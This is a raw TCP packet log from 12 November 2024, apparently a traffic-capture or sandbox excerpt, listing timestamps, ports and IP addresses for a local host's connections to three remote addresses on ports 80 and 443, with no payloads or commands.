Nov 12, 2024 13:35:38.210748911 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.210761070 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.210761070 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.210762024 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.210781097 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.210813046 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.211574078 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.211586952 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.211596966 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.211608887 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.211620092 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.211631060 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.211642027 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.211653948 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.211658001 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.211668015 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.211679935 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.211703062 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.211703062 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.211724043 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.212493896 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.212506056 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.212515116 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.212526083 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.212543011 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.212553024 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.212563038 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.212574005 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.212610006 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.212610006 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.212641001 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.213234901 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.213246107 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.213257074 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.213268042 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.213284016 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.213295937 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.213301897 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.213306904 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.213319063 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.213351011 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.213396072 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.213895082 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.213906050 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.213917971 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.213978052 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.213978052 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.219988108 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.220038891 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.220144987 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.220171928 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.220280886 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.267040968 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.267152071 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.267167091 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.267169952 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.267225027 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.267482996 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.267539024 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.269704103 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.269721031 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.269782066 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.269804955 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.269855022 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.308912992 CET	443	62195	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.308938980 CET	443	62195	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.308976889 CET	443	62195	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.309010029 CET	62195	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.309046030 CET	62195	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.310066938 CET	62195	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.310084105 CET	443	62195	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.310105085 CET	62195	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.310111046 CET	443	62195	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.312683105 CET	62201	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.312715054 CET	443	62201	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.312880993 CET	62201	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.313014984 CET	62201	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.313024998 CET	443	62201	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.327184916 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.327233076 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.327244997 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.327246904 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.327332020 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.327332020 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.327425957 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.327438116 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.327455044 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.327466965 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.327482939 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.327539921 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.327721119 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.327732086 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.327743053 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.327775002 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.327786922 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.327796936 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.327807903 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.327819109 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.327830076 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.327831030 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.327831030 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.327884912 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.327884912 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.328552961 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.328571081 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.328583002 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.328602076 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.328635931 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.328668118 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.328701019 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.328716993 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.328722954 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.328735113 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.328747034 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.328758001 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.328768015 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.328769922 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.328783035 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.328799963 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.328815937 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.328849077 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.329495907 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.329514980 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.329526901 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.329539061 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.329562902 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.329562902 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.329565048 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.329576969 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.329581976 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.329638958 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.329638958 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.329651117 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.329673052 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.329688072 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.329694986 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.329694986 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.329700947 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.329706907 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.329739094 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.329765081 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.330496073 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.330512047 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.330528021 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.330538988 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.330549955 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.330560923 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.330586910 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.330653906 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.330666065 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.330688000 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.330688953 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.330703974 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.330751896 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.331015110 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.331034899 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.331170082 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.331186056 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.331198931 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.331199884 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.331211090 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.331222057 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.331234932 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.331235886 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.331281900 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.331281900 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.331834078 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.331851959 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.331919909 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.399439096 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.399461985 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.399475098 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.399513006 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.399555922 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.399641991 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.399655104 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.399720907 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.399720907 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.399909019 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.399933100 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.399972916 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.399987936 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.400008917 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.400027990 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.400914907 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.400928974 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.400998116 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.401004076 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.401201010 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.444511890 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.444587946 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.444591999 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.444602966 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.444613934 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.444628000 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.444650888 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.444650888 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.444693089 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.444856882 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.444921970 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.444940090 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.445055008 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.445065975 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.445077896 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.445090055 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.445099115 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.445099115 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.445137978 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.445373058 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.445388079 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.445399046 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.445442915 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.445442915 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.445640087 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.445655107 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.445667028 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.445702076 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.445740938 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.445894003 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.445905924 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.445941925 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.445952892 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.445960999 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.445977926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.445986032 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.445991039 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.445997000 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.446027994 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.446043015 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.446691036 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.446702957 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.446712017 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.446723938 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.446734905 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.446747065 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.446763992 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.446763992 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.446799040 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.447221041 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.447237015 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.447247982 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.447258949 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.447269917 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.447277069 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.447282076 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.447323084 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.447343111 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.447812080 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.447824001 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.447834969 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.447846889 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.447849035 CET	443	62196	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.447859049 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.447866917 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.447869062 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.447875977 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.447884083 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.447936058 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.447946072 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.448499918 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.448510885 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.448523045 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.448534966 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.448546886 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.448548079 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.448548079 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.448558092 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.448568106 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.448580027 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.448580980 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.448590994 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.448601007 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.448626995 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.448626995 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.448626995 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.449398994 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.449410915 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.449421883 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.449438095 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.449449062 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.449459076 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.449461937 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.449501991 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.449538946 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.449865103 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.449876070 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.449884892 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.449897051 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.449918032 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.449963093 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.450128078 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.450211048 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.450222015 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.450231075 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.450264931 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.450279951 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.452153921 CET	62196	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.452174902 CET	443	62196	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.452671051 CET	62196	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.452676058 CET	443	62196	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.457598925 CET	443	62197	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.460226059 CET	62197	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.460253000 CET	443	62197	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.460915089 CET	62197	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.460918903 CET	443	62197	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.474693060 CET	443	62198	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.475147963 CET	62198	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.475167036 CET	443	62198	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.475567102 CET	62198	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.475570917 CET	443	62198	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.502301931 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.502378941 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.502441883 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.502455950 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.502487898 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.502490044 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.502501965 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.502535105 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.502535105 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.502535105 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.503124952 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.503180981 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.503201008 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.503228903 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.520817995 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.520837069 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.520880938 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.520889997 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.520925999 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.520948887 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.521994114 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.522007942 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.522062063 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.522068024 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.522114038 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.529647112 CET	443	62199	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.530134916 CET	62199	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.530149937 CET	443	62199	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.530972004 CET	62199	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.530975103 CET	443	62199	13.107.246.45	192.168.2.6
